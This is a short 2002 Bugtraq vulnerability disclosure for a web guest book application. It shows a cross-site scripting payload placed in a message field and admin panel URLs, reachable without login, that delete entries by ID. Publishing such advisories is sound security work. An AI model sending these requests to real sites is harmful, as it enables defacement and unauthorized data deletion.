bugtraq - Vulnerability in my guest book

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Date: Wed, 27 Mar 2002 18:07:27 +0300
From: Over_G <overg@...l.ru>
To: vuln@...urity.nnov.ru, bugtraq@...urityfocus.com
Subject: Vulnerability in my guest book

Product: My guest book
Version: ?
OffSite: ?
Problem: CSS and unauthorized access in admin panel
--------------------------------------------------------------

1)Cross Site scripting

http://[target]/myguestBk/add1.asp?name=Name&subject=Subj&email=M@...message=<scr*pt>alert ("Test!")</scr*pt>

Or open http://[target]/myguestBk/add.asp and write in "Message" field: 
<scr*pt>alert ("Test!")</scr*pt> and press "Post Message".

2)Unauthorized access in admin panel

http://[target]/myguestBk/admin/index.asp
Delete news:
http://[target]/myguestBk/admin/delEnt.asp?id=NEWSNUMBER
with NEWSNUMBER - news number in database.

Contacts: www.overg.com www.dwcgr0up.com
irc.zaingandol.org #DWC
ogprog@....net

Best regards, Over G[DWC Gr0up]